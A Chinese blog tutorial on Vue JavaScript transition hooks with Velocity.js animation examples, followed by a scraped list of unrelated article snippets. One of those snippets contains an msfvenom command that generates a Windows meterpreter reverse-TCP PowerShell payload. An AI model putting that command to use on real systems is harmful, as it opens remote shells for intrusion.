Vue过渡效果之JS过渡
前面的话
与CSS过渡不同,JS过渡主要通过事件进行触发。本文将详细介绍Vue过渡效果之JS过渡
事件钩子
JS过渡主要通过事件监听事件钩子来触发过渡,共包括如下的事件钩子
<transition
v-on:before-enter="beforeEnter"
v-on:enter="enter"
v-on:after-enter="afterEnter"
v-on:enter-cancelled="enterCancelled"
v-on:before-leave="beforeLeave"
v-on:leave="leave"
v-on:after-leave="afterLeave"
v-on:leave-cancelled="leaveCancelled"
>
<!-- ... -->
</transition>
下面各个方法中,函数中的参数el表示要过渡的元素,可以设置不同情况下,el的位置、颜色等来控制其动画的改变
// ...
methods: {
// --------
// 进入中
// --------
beforeEnter: function (el) {
// ...
},
// 此回调函数是可选项的设置
// 与 CSS 结合时使用
enter: function (el, done) {
// ...
done()
},
afterEnter: function (el) {
// ...
},
enterCancelled: function (el) {
// ...
},
// --------
// 离开时
// --------
beforeLeave: function (el) {
// ...
},
// 此回调函数是可选项的设置
// 与 CSS 结合时使用
leave: function (el, done) {
// ...
done()
},
afterLeave: function (el) {
// ...
},
// leaveCancelled 只用于 v-show 中
leaveCancelled: function (el) {
// ...
}
}
上面方法中,有两个方法比较特殊,是enter()和leave()方法,它们接受了第二个参数done。当进入完毕或离开完毕后,会调用done()方法来进行接下来的操作
[注意]对于仅使用JS过渡的元素添加 v-bind:css="false"
,Vue 会跳过 CSS 的检测。这也可以避免过渡过程中 CSS 的影响
【简单事例】
下面是一个JS过渡的简单事例
<div id="demo">
<button @click="show = !show">Toggle</button>
<transition v-on:before-enter="beforeEnter" v-on:enter="enter" v-on:leave="leave" :css="false">
<p v-if="show">Demo</p>
</transition>
</div>
<script>
new Vue({
el: '#demo',
data: {
show: false
},
methods: {
beforeEnter: function (el) {
el.style.opacity = 0
el.style.transformOrigin = 'left'
},
enter: function (el, done) {
Velocity(el, { opacity: 1, fontSize: '1.4em' }, { duration: 300 })
Velocity(el, { fontSize: '1em' }, { complete: done })
},
leave: function (el, done) {
Velocity(el, { translateX: '15px', rotateZ: '50deg' }, { duration: 600 })
Velocity(el, { rotateZ: '100deg' }, { loop: 2 })
Velocity(el, {rotateZ: '45deg',translateY: '30px',translateX: '30px',opacity: 0}, {complete: done })
}
}
})
</script>
初始渲染过渡
可以通过 appear
特性设置节点的在初始渲染的过渡,自定义 JavaScript 钩子
<transition
appear
v-on:before-appear="customBeforeAppearHook"
v-on:appear="customAppearHook"
v-on:after-appear="customAfterAppearHook"
v-on:appear-cancelled="customAppearCancelledHook"
>
<!-- ... -->
</transition>
下面是一个例子
<div id="demo">
<button @click="reset">还原</button>
<transition appear :appear="customAppearHook">
<p>小火柴的蓝色理想</p>
</transition>
</div>
<script>
new Vue({
el: '#demo',
methods:{
reset(){
history.go();
},
customAppearHook(el, done) {
Velocity(el, {backgroundColor:"#ddd",translateX:200});
Velocity(el,"reverse",{complete:done})
},
}
})
</script>
Vue过渡效果之JS过渡的更多相关文章
- Vue过渡效果之CSS过渡
前面的话 Vue 在插入.更新或者移除 DOM 时,提供多种不同方式的应用过渡效果.本文将从CSS过渡transition.CSS动画animation及配合使用第三方CSS动画库(如animate. ...
- vue 过渡效果-列表过渡
到目前为止,关于过渡我们已经讲到, 单个节点 同一时间渲染多个节点的一个 那么怎么同时渲染整个列表,比如使用v-if?在这种场景下,使用<transition-group>组件,在我们深入 ...
- 【译】如何使用Vue过渡效果来提升用户体验
在Vue应用中添加过渡效果是一个可以使你的项目感觉更专业的简单方法.通过提升用户体验,可以使你的网站留住更多的用户以及提高转化率. 只需要简单的处理就可以获得巨大的回报,何乐而不为? 在这个指南中,我 ...
- vue从mock数据过渡到使用后台接口
说明: 最近在搭建一个前端使用vue-element-admin,后端使用springBoot的项目. 由于vue-element-admin使用的是mock的模拟数据跑起来的项目,所以在开发过程中难 ...
- 使用 Vue 和 epub.js 制作电子书阅读器
ePub 简介 ePub 是一种电子书的标准格式,平时我看的电子书大部分是这种格式.在手机上我一般用"多看"阅读 ePub 电子书,在 Windows 上找不到用起来比较顺心的软件 ...
- socket应用(vue、node.js、M站)
socket应用(vue.node.js.M站) 前言:我们在做一些项目的时候需要做到实时变化, 比如我们有时候有需求会要求我们做一个类似于聊天室的页面 比如有些时候我们对某些东西进行点赞和刷票,需要 ...
- vue项目中主要文件的加载顺序(index.html、App.vue、main.js)
先后顺序: index.html > App.vue的export外的js代码 > main.js > App.vue的export里面的js代码 > Index.vue的ex ...
- vue.runtime.esm.js:593 [Vue warn]: Invalid prop: custom validator check failed for prop "value".报错解决
在uni中使用 picker组件,一直报错 vue.runtime.esm.js:593 [Vue warn]: Invalid prop: custom validator check failed ...
- 最新的vue没有dev-server.js文件,如何进行后台数据模拟?
https://blog.csdn.net/qq_34645412/article/details/78833860 https://blog.csdn.net/qq_34645412/article ...
随机推荐
- hdu2410(水)
题意 如果两个数字除了带问号的位以外都相同,我们称这两个数可以相互匹配 给你两个数,其中第一个数字里有一些问号,问有多少个大于第二个数的数字可以和第一个数字匹配 一开始懒得读题,到网上搜题意,结果居然 ...
- 利用powershell反弹shell到metasploit
一.使用msfvenom生成PS1文件: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= -f psh-reflection >.p ...
- Spring3 MVC DispatcherServlet 配置问题
1. Spring MVC 是通过servlet来进行转发的,一般在web.xml中配置如下: <servlet> <servlet-name>dispatcher</s ...
- .NetCore~TagHelpers标签的使用
回到目录 TagHelpers 能够让服务端代码参与创建和渲染 HTML 元素,让整个View视图看起来只有Html代码,也让前台开发人员开发的页面直接被后台开发人员使用,而不需要重复的书写代码,这种 ...
- 每天来点Java面试题(一)
(1)java 中的 static 字段的 使用: 什么是 static ? 它是 java 的修饰符,定义静态变量和静态方法. 什么时候用? 通常用在工具类里面,修饰静态方法,然后供其它类的方法使 ...
- 在ASP.NET MVC中利用Aspose.cells 将查询出的数据导出为excel,并在浏览器中下载。
正题前的唠叨 本人是才出来工作不久的小白菜一颗,技术很一般,总是会有遇到一些很简单的问题却不知道怎么做,这些问题可能是之前解决过的.发现这个问题,想着提升一下自己的技术水平,将一些学的新的'好'东西记 ...
- hdu 3926 hands in hands
https://vjudge.net/problem/HDU-3926 题意:有n个小朋友,他们之间手拉手,但是一只手只能拉一只手或者不拉,现在给出两个图,表示拉手关系,问这两个图是否同构.思路:一开 ...
- 20170713_filter/sort
js:filter过滤数组元素 //1.数组取奇数 var arr = [1,2,3,4,5]; var r = arr.filter(function(x){ return x % 2 !== 0; ...
- eclipse 下使用git clone
方法一:eclipse安装好git插件后,直接import-git-project from git- clone url-输入github的网址等就可以了方法二:使用git软件,到指定的目录,右击g ...
- iOS图解多线程
前言 多线程一直是iOS开发中重中之重的话题,无论是面试还是真正在公司中进行业务开发,都会经常使用到多线程来开发.笔者在简书上看到一张图,记录的是多线程的相关知识,笔者认为这是非常好的,推荐给大家: ...